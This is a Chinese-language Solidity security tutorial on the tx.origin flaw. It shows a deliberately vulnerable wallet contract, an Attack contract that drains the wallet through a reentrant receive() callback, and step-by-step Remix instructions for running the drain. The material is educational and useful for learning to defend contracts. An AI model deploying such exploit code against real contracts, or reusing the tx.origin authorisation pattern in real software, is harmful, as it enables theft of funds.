第21节:安全事故11-tx.origin攻击

当MyWallet的owner调用transferTo给Attack地址转账时,会调用Attack的receive函数,并在内部再次调用transferTo,从而导致重入攻击。

这里面原因有二:

  1. 没有增加重入检查
  2. 校验条件错误:tx.origin == owner,这个在重入时是无效的
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;

// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract MyWallet {
    address owner;
    constructor() {
        owner = msg.sender;
    }
    receive () external payable {
    }
    function transferTo(address payable dest, uint amount) public {
        // THE BUG IS RIGHT HERE, you must use msg.sender instead of tx.origin
        require(tx.origin == owner);

          // At this point, the caller's code is executed, and can call withdrawBalance again
        (bool success, ) = dest.call{value: amount}(""); 
        require(success);
    }
}

interface UserWallet {
    function transferTo(address payable dest, uint amount) external;
}

contract Attack {
    address payable owner;
    constructor() {
        owner = payable(msg.sender);
    }
    receive() external payable {
        UserWallet(msg.sender).transferTo(owner, msg.sender.balance - msg.value);
    }
}

攻击操作方法:

  1. 使用account0部署MyWallet,并使用remix的calldata页面转入50ETH
  2. 使用account1部署合约Attack
  3. 使用account0调用MyWallet的transferTo(attack地址,1)
  4. 此时,合约中的金额会全部转入到account1地址中,即Attack合约的部署者。